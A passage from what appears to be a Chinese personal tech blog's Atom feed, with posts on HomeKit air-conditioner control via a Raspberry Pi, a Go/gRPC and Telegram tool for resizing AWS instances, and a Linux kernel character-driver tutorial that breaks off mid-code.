    <link href="https://suikammd.github.io/zh-Hans/2019/08/07/Use-HomeKit-Control-AirConditioner/"/>
    <id>https://suikammd.github.io/zh-Hans/2019/08/07/Use-HomeKit-Control-AirConditioner/</id>
    <published>2019-08-07T03:35:10.000Z</published>
    <updated>2026-11-19T12:58:15.307Z</updated>
    
    <content type="html"><![CDATA[<p>每天回到家后、睡觉前，都会发现找不到空调遥控器&#x3D;&#x3D;，在几经折腾后终于想到用HomeKit来控制家里的空调，将红外发射器连接到树莓派上，这样就可以直接用手机控制空调啦！（嗯，手机不会找不到的ʕ •ᴥ•ʔ）</p><h1 id="PreRequisite"><a href="#PreRequisite" class="headerlink" title="PreRequisite"></a>PreRequisite</h1><ul><li>树莓派 + 红外发射（接收）器</li><li>杜邦线（母对母）</li><li>iPhone手机安装HOME app</li></ul><span id="more"></span><h1 id="SetUp"><a href="#SetUp" class="headerlink" title="SetUp"></a>SetUp</h1><ol><li>配置树莓派:<ul><li>将红外发射器件连接到gpio17(in BCM).</li><li>添加 <code>dtoverlay=lirc-rpi,gpio_in_pin=18,gpio_out_pin=17</code> 到 <code>/boot/config.txt</code>.</li><li>安装并配置 <code>Lirc</code> .</li></ul></li><li>配置lircd:<ul><li>把配置文件 <code>air.lircd.conf</code> 放在 <code>/etc/lirc/lircd.conf.d</code> 目录 (确保该文件的后缀是 <code>.conf</code>).</li><li>重启 <code>lirc</code>： <code>sudo systemctl restart lircd.service</code>.</li></ul></li><li>重启程序:<ul><li>把 <code>ac.conf</code> 放在 <code>/etc/supervisor/conf.d</code> .</li><li>使用默认pin<code>23333333</code> 链接配件到HomeKit.</li></ul></li></ol><p>项目地址参考 <a href="https://github.com/suikammd/AirConditioner-Homekit">AirConditioner-HomeKit</a></p><h1 id="效果展示"><a href="#效果展示" class="headerlink" title="效果展示"></a>效果展示</h1><p><img src="https://raw.githubusercontent.com/suikammd/AirConditioner-Homekit/master/resources/images/MainPage.jpg" alt="1"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;每天回到家后、睡觉前，都会发现找不到空调遥控器&amp;#x3D;&amp;#x3D;，在几经折腾后终于想到用HomeKit来控制家里的空调，将红外发射器连接到树莓派上，这样就可以直接用手机控制空调啦！（嗯，手机不会找不到的ʕ •ᴥ•ʔ）&lt;/p&gt;
&lt;h1 id=&quot;PreRequisite&quot;&gt;&lt;a href=&quot;#PreRequisite&quot; class=&quot;headerlink&quot; title=&quot;PreRequisite&quot;&gt;&lt;/a&gt;PreRequisite&lt;/h1&gt;&lt;ul&gt;
&lt;li&gt;树莓派 + 红外发射（接收）器&lt;/li&gt;
&lt;li&gt;杜邦线（母对母）&lt;/li&gt;
&lt;li&gt;iPhone手机安装HOME app&lt;/li&gt;
&lt;/ul&gt;</summary>
    
    
    
    
    <category term="HomeKit" scheme="https://suikammd.github.io/zh-Hans/tags/HomeKit/"/>
    
  </entry>
  
  <entry>
    <title>AWS-Save-Money</title>
    <link href="https://suikammd.github.io/zh-Hans/2019/05/29/AWS-Save-Money/"/>
    <id>https://suikammd.github.io/zh-Hans/2019/05/29/AWS-Save-Money/</id>
    <published>2019-05-29T05:33:57.000Z</published>
    <updated>2026-11-19T12:58:15.307Z</updated>
    
    <content type="html"><![CDATA[<h1 id="目的"><a href="#目的" class="headerlink" title="目的"></a>目的</h1><p>在编译Petalinux的时候，需要至少4核CPU。GCE的虚拟机用完了，AWS计算资源又非常贵，不过还好有免费的$100可以用。因此我决定采取非常丑的办法（还不是因为菜），在准备编译时关闭AWS Instance，从t2.micro（AWS免费）升级到t2.xlarge，然后启动机器将Public IP发送到Telegram Bot；在编译完成时关闭并降级最后再重新启动Instance。</p><p>此外，希望能让Telegram Bot定时发送账单信息给我，毕竟$100眨眼就没了。</p><span id="more"></span><h1 id="环境"><a href="#环境" class="headerlink" title="环境"></a>环境</h1><p>AWS Instance 1 (Server t2.micro)</p><p>AWS Instance 2 (Client  t2.xlarge &#x2F; t2.micro)</p><p>Telegram Bot</p><h1 id="通信"><a href="#通信" class="headerlink" title="通信"></a>通信</h1><p>一开始没有考虑ssh连接到实例需要公网IP的问题，在实例升级完成重启之后就结束了。考虑了IP的问题之后，决定将IP发送到Telegram Bot上。最后才去的做法是，通过RPC在服务端注册对象，通过对象的类型名暴露这个服务，客户端通过远程调用使用这些方法。公网IP在完成升级重启后发送到Telegram Bot。当然可以不用RPC，把所有请求都丢给Telegram Bot，好看一些。</p><ol><li><p>RPC</p><p>使用Go的<code>net/rpc</code>库</p></li><li><p>Telegram Bot</p><p>参考<a href="https://github.com/go-telegram-bot-api/telegram-bot-api/blob/master/README.md">Telegram Bot使用</a></p><ul><li>向Telegram BotFather发送<code>/newbot</code></li><li>输入以<code>bot</code>结尾的Bot名字</li><li>获得BotFather返回的Bot Token</li></ul></li></ol><h1 id="Server-x2F-Client-代码实现"><a href="#Server-x2F-Client-代码实现" class="headerlink" title="Server &#x2F; Client 代码实现"></a>Server &#x2F; Client 代码实现</h1><p>全部代码见<a href="https://github.com/suikammd/AWS-Save-Money">AWS-save-money</a></p><p>整个代码构成是这样的，需要四个文件夹：server、client、conf、proto。server存放服务端代码，client存放客户端代码，conf存放server的公钥、私钥，proto存放protobuf文件。</p><ul><li><p>conf：存放生成的server端公钥、私钥</p><ol><li><p>Secret key</p> <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openssl ecparam -genkey -name secp384r1 -out server.key</span><br></pre></td></tr></table></figure></li><li><p>Public key</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openssl req -new -x509 -sha256 -key server.key -out server.pem -days 3650</span><br></pre></td></tr></table></figure></li></ol></li><li><p>proto</p><p>首先需要编写一些<code>.proto</code>文件，在其中定义需要传递的消息类型<code>message</code>和服务<code>service</code></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">syntax = <span class="string">&quot;proto3&quot;</span>; <span class="comment">// version 3</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> proto; <span class="comment">// specify package</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// define service</span></span><br><span class="line">service ServerClient &#123;</span><br><span class="line">    rpc StartInstance(Request) returns (Response) &#123;&#125;</span><br><span class="line">    rpc DescribeInstance(Request) returns (Response) &#123;&#125;</span><br><span class="line">    rpc StopInstance(Request) returns (Response) &#123;&#125;</span><br><span class="line">    rpc ModifyUpInstance(Request) returns (Response) &#123;&#125;</span><br><span class="line">    rpc ModifyDownInstance(Request) returns (Response) &#123;&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// define message to transfer: Request, Response</span></span><br><span class="line">message Request &#123;</span><br><span class="line">    bytes line = <span class="number">1</span>; <span class="comment">// different number means its unique</span></span><br><span class="line">    <span class="type">bool</span> ack = <span class="number">2</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">message Response &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>之后根据proto文件生成相应的go文件，采用下面的指令：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">protoc --go_out=plugins=grpc:. service.proto</span><br></pre></td></tr></table></figure></li></ul><p>在使用该代码前请手动定义这些参数</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> <span class="string">&quot;github.com/aws/aws-sdk-go/aws&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> (</span><br><span class="line">InstanceID       *<span class="type">string</span> = aws.String(<span class="string">&quot;&quot;</span>)</span><br><span class="line">BotToken         <span class="type">string</span>  = <span class="string">&quot;&quot;</span></span><br><span class="line">UpInstanceType   <span class="type">string</span>  = <span class="string">&quot;&quot;</span></span><br><span class="line">DownInstanceType <span class="type">string</span>  = <span class="string">&quot;&quot;</span></span><br><span class="line">ChatID           <span class="type">int</span>     = <span class="number">123456</span></span><br><span class="line">Region           *<span class="type">string</span> = aws.String(<span class="string">&quot;&quot;</span>)</span><br><span class="line">AWSID            <span class="type">string</span>  = <span class="string">&quot;&quot;</span></span><br><span class="line">AWSSecret        <span class="type">string</span>  = <span class="string">&quot;&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br></pre></td></tr></table></figure><ul><li><p>Server</p><ol><li><p>设置服务端监听端口</p></li><li><p>生成server端公钥、密钥</p></li><li><p>在服务端注册一个<code>Listener对象，</code>type Listener ec2.EC2&#96;, 创建这个对象之后注册其对应的服务，这些服务必须是可以暴露的</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> Service EC2.ec2</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line"><span class="comment">// listen on port 1234</span></span><br><span class="line">listener, err := net.Listen(<span class="string">&quot;tcp&quot;</span>, <span class="string">&quot;:1234&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatal(<span class="string">&quot;Listen TCP error: &quot;</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// init server</span></span><br><span class="line">c, err := cre.NewServerTLSFromFile(<span class="string">&quot;../conf/server.pem&quot;</span>, <span class="string">&quot;../conf/server.key&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatalf(<span class="string">&quot;GRPC credentials.NewServerTLSFromFile err : %v&quot;</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">server := grpc.NewServer(grpc.Creds(c))</span><br><span class="line">pb.RegisterServerClientServer(server, NewEC2Sess())</span><br><span class="line">reflection.Register(server)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> err := server.Serve(listener); err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatalf(<span class="string">&quot;Failed to Serve %v&quot;</span>, err)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p>实现需要的功能</p><p>根据需求实现需要暴露的功能</p></li></ol></li><li><p>Client</p><p>需要的功能有启动、关闭、升级和降级实例，用<code>switch</code>语句选择即可</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">c, err := credentials.NewClientTLSFromFile(<span class="string">&quot;../conf/server.pem&quot;</span>, <span class="string">&quot;Suika&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatalf(<span class="string">&quot;credentials.NewClientTLSFromFile err: err&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">conn, err := grpc.Dial(InstanceIP + <span class="string">&quot;:1234&quot;</span>, grpc.WithTransportCredentials(c))</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatalf(<span class="string">&quot;grpc.Dail error %v&quot;</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">defer</span> conn.Close()</span><br><span class="line"></span><br><span class="line">client := pb.NewServerClientClient(conn)</span><br><span class="line"><span class="comment">// flags</span></span><br><span class="line"><span class="keyword">var</span> in <span class="type">string</span></span><br><span class="line">flag.StringVar(&amp;in, <span class="string">&quot;s&quot;</span>, in, <span class="string">&quot;name&quot;</span>)</span><br><span class="line">flag.Parse()</span><br><span class="line"><span class="keyword">var</span> line []<span class="type">byte</span> = []<span class="type">byte</span>(in)</span><br><span class="line">method := <span class="type">string</span>(line)</span><br><span class="line">fmt.Printf(<span class="string">&quot;Current Method is %s\n&quot;</span>, method)</span><br><span class="line"><span class="keyword">var</span> reply <span class="type">bool</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">switch</span> method &#123;</span><br><span class="line"><span class="keyword">case</span> <span class="string">&quot;b&quot;</span>:</span><br><span class="line">fmt.Println(<span class="string">&quot;Restart and Modify to Build&quot;</span>)</span><br><span class="line">_, err = client.ModifyUpInstance(context.Background(), &amp;pb.Request&#123;Line:line, Ack:reply&#125;)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatal(err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">case</span> <span class="string">&quot;f&quot;</span>:</span><br><span class="line">fmt.Println(<span class="string">&quot;Finish Building&quot;</span>)</span><br><span class="line">_, err = client.ModifyDownInstance(context.Background(), &amp;pb.Request&#123;Line:line, Ack:reply&#125;)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatal(err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">case</span> <span class="string">&quot;start&quot;</span>:</span><br><span class="line">fmt.Println(<span class="string">&quot;Start Instance&quot;</span>)</span><br><span class="line">_, err = client.StartInstance(context.Background(), &amp;pb.Request&#123;Line:line, Ack:reply&#125;)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatal(err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">case</span> <span class="string">&quot;stop&quot;</span>:</span><br><span class="line">fmt.Println(<span class="string">&quot;Stop Instace&quot;</span>)</span><br><span class="line">_, err = client.StopInstance(context.Background(), &amp;pb.Request&#123;Line:line, Ack:reply&#125;)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatal(err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">case</span> <span class="string">&quot;des&quot;</span>:</span><br><span class="line">fmt.Println(<span class="string">&quot;Describe Instace&quot;</span>)</span><br><span class="line">_, err = client.DescribeInstance(context.Background(), &amp;pb.Request&#123;Line:line, Ack:reply&#125;)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatal(err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line">log.Fatal(<span class="string">&quot;No Such Method!!!&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ul>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;目的&quot;&gt;&lt;a href=&quot;#目的&quot; class=&quot;headerlink&quot; title=&quot;目的&quot;&gt;&lt;/a&gt;目的&lt;/h1&gt;&lt;p&gt;在编译Petalinux的时候，需要至少4核CPU。GCE的虚拟机用完了，AWS计算资源又非常贵，不过还好有免费的$100可以用。因此我决定采取非常丑的办法（还不是因为菜），在准备编译时关闭AWS Instance，从t2.micro（AWS免费）升级到t2.xlarge，然后启动机器将Public IP发送到Telegram Bot；在编译完成时关闭并降级最后再重新启动Instance。&lt;/p&gt;
&lt;p&gt;此外，希望能让Telegram Bot定时发送账单信息给我，毕竟$100眨眼就没了。&lt;/p&gt;</summary>
    
    
    
    
    <category term="Cloud" scheme="https://suikammd.github.io/zh-Hans/tags/Cloud/"/>
    
  </entry>
  
  <entry>
    <title>Petalinux DMA驱动</title>
    <link href="https://suikammd.github.io/zh-Hans/2019/05/12/write-linux-dma-driver/"/>
    <id>https://suikammd.github.io/zh-Hans/2019/05/12/write-linux-dma-driver/</id>
    <published>2019-05-12T02:28:30.000Z</published>
    <updated>2026-11-19T12:58:15.314Z</updated>
    
    <content type="html"><![CDATA[<p>计划先整理下驱动的基础知识，再介绍下设备树相关dts文件的写法。</p><h1 id="最简单的内核驱动代码示例"><a href="#最简单的内核驱动代码示例" class="headerlink" title="最简单的内核驱动代码示例"></a>最简单的内核驱动代码示例</h1><p>首先以最简单的内核驱动代码为例，介绍如何编写以及编译驱动代码。</p><p>内核驱动代码至少需要包含两个函数，init函数(insmod时被调用)、exit函数(rmmod时被调用)。</p><p>简单的内核驱动代码示例如下所示：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/module.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/version.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/kernel.h&gt;</span></span></span><br><span class="line"><span class="type">static</span> <span class="type">int</span> __init <span class="title function_">init_mod</span> <span class="params">( <span class="type">void</span> )</span> <span class="comment">/* Constructor */</span></span><br><span class="line">&#123;</span><br><span class="line">    printk ( KERN_INFO <span class="string">&quot; Module1 start\ n &quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">static</span> <span class="type">void</span> __exit <span class="title function_">end_mod</span> <span class="params">( <span class="type">void</span> )</span> <span class="comment">/* Destructor */</span></span><br><span class="line">&#123;</span><br><span class="line">printk ( KERN_INFO <span class="string">&quot; Module1 end\ n &quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line">module_init ( init_mod );</span><br><span class="line">module_exit ( end_mod );</span><br><span class="line">MODULE_LICENSE (<span class="string">&quot; GPL &quot;</span>);</span><br><span class="line">MODULE_AUTHOR (<span class="string">&quot; SUIKAMMD&quot;</span>);</span><br><span class="line">MODULE_DESCRIPTION (<span class="string">&quot; Driver Module &quot;</span>);</span><br></pre></td></tr></table></figure><span id="more"></span><p>编译驱动需要相应的kernel headers，可以通过下面的指令安装系统的kernel header，kernel header的安装位置在&#x2F;usr&#x2F;src&#x2F;linux。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get update</span><br><span class="line">sudo apt-get install linux-headers-$(uname -r)</span><br></pre></td></tr></table></figure><p>下面是Makefile的示例，如下所示：</p><figure class="highlight makefile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">ifneq</span> ($&#123;KERNELRELEASE&#125;,)</span><br><span class="line">obj-m := module.o</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">KERNEL_SOURCE := /usr/src/<span class="variable">$(header version)</span></span><br><span class="line">PWD := <span class="variable">$(<span class="built_in">shell</span> pwd)</span></span><br><span class="line"><span class="section">default:</span></span><br><span class="line">$&#123;MAKE&#125; -C $&#123;KERNEL_SOURCE&#125; M=$&#123;PWD&#125; modules</span><br><span class="line">clean :</span><br><span class="line">$&#123;MAKE&#125; -C $&#123;KERNEL_SOURCE&#125; M=$&#123;PWD&#125; clean</span><br><span class="line"><span class="keyword">endif</span></span><br></pre></td></tr></table></figure><p>与编译非内核驱动代码的Makefile对比，有两点让人疑惑的地方：</p><ol><li>KERNELRELEASE是什么？</li><li>obj-m :&#x3D; module何时被执行？</li></ol><p>其实在这里，make执行了两次，一次是执行当前目录下的Makefile，一次是在<code>/usr/src/linux</code>下的Makefile。在当前目录下<code>KERNELRELEASE</code>没有被定义，因此会执行<code>else</code>下的语句，执行make不加参数的默认情况下会再执行<code>default</code>中的内容，在<code>default</code>这条语句中，通过<code>make -C</code>进行目录跳转至内核源码目录读取那里的Makefile。<code>M=$&#123;PWD&#125;</code>表明返回当前目录从头重新开始读取当前目录的Makefile，编译内核源码文件生成对应的.o文件。从内核源码目录返回时， <code>KERNELRELEASE</code>已被定义，make将读取<code>else</code>之前的内容，联合中间文件生成.ko文件。编译完之后执行<code>insmod module.ko</code> 加载内核模块，通过<code>rm module</code>删除模块，通过 <code>dmesg</code>查看内核信息判断模块是否成功加载或删除。</p><p>在当前目录执行<code>make</code>之后，生成一系列文件，<code>device.ko  device.mod.c  device.mod.o  device.o modules.order  Module.symvers</code>，再执行<code>sudo insmod device.ko</code>将模块加载到内核中，通过<code>dmesg tail</code>显示最近的linux内核信息，如果输出<code>Module start</code>说明模块成功加载。之后使用<code>sudo rmmod device</code>删除该模块， 通过<code>dmesg tail</code>显示最近的linux内核信息，如果输出<code>Module end</code>说明模块成功删除。</p><h1 id="稍微复杂的内核驱动代码示例"><a href="#稍微复杂的内核驱动代码示例" class="headerlink" title="稍微复杂的内核驱动代码示例"></a>稍微复杂的内核驱动代码示例</h1><p>上面只是一个非常简单的示例，甚至没有将该驱动与设备进行绑定，下面给出一个完成的驱动代码示例。在编写驱动代码前，使用这条指令<code>mknod -m 0666 /dev/mydev 240 0</code>创建<code>mydev</code>设备，对应的major是240，minor是0。驱动代码如下所示：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/fs.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/module.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/version.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/kernel.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">int</span> <span class="title function_">mydev_open</span><span class="params">(<span class="keyword">struct</span> inode *inode, <span class="keyword">struct</span> file *filep)</span></span><br><span class="line">&#123;</span><br><span class="line">        printk(<span class="string">&quot;Device opened\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">int</span> <span class="title function_">mydev_release</span><span class="params">(<span class="keyword">struct</span> inode *inode, <span class="keyword">struct</span> file *filep)</span></span><br><span class="line">&#123;</span><br><span class="line">        printk(<span class="string">&quot;Device release\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">ssize_t</span> <span class="title function_">mydev_read</span><span class="params">(<span class="keyword">struct</span> file *filep, <span class="type">char</span> *buf, <span class="type">size_t</span> count, <span class="type">loff_t</span> *f_pos)</span></span><br><span class="line">&#123;</span><br><span class="line">        printk(<span class="string">&quot;Writing to the device...\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">ssize_t</span> <span class="title function_">mydev_write</span><span class="params">(<span class="keyword">struct</span> file *filep, <span class="type">const</span> <span class="type">char</span> *buf, <span class="type">size_t</span> count, <span class="type">loff_t</span> *f_pos)</span></span><br><span class="line">&#123;</span><br><span class="line">        printk(<span class="string">&quot;Writing to the device...\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">file_operations</span> <span class="title">mydev_fops</span> =</span></span><br><span class="line">&#123;</span><br><span class="line">        owner: THIS_MODULE,</span><br><span class="line">        open: mydev_open,</span><br><span class="line">        release: mydev_release,</span><br><span class="line">        read: mydev_read,</span><br><span class="line">        write: mydev_write,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">int</span> __init <span class="title function_">init_mydevDriver</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">        <span class="type">int</span> result;</span><br><span class="line">        <span class="keyword">if</span> ((result = register_chrdev(<span class="number">240</span>, <span class="string">&quot;mydev&quot;</span>, &amp;mydev_fops)) &lt; <span class="number">0</span>)</span><br><span class="line">                <span class="keyword">goto</span> fail;</span><br><span class="line">        printk(<span class="string">&quot;my device driver loaded...\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        fail:</span><br><span class="line">                <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">void</span> __exit <span class="title function_">exit_mydevDriver</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">        unregister_chrdev(<span class="number">240</span>, <span class="string">&quot;mydev&quot;</span>);</span><br><span class="line">        printk(<span class="string">&quot;mydev driver unloaded...\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">module_init(init_mydevDriver);</span><br><span class="line">module_exit(exit_mydevDriver);</span><br><span class="line"></span><br><span class="line">MODULE_LICENSE(<span class="string">&quot; GPL &quot;</span>);</span><br><span class="line">MODULE_AUTHOR(<span class="string">&quot; SUIKA &quot;</span>);</span><br><span class="line">MODULE_DESCRIPTION(<span class="string">&quot; Test Driver Module &quot;</span>);</span><br></pre></td></tr></table></figure><p>Makefile与上文示例几乎一致，下面给出测试代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span 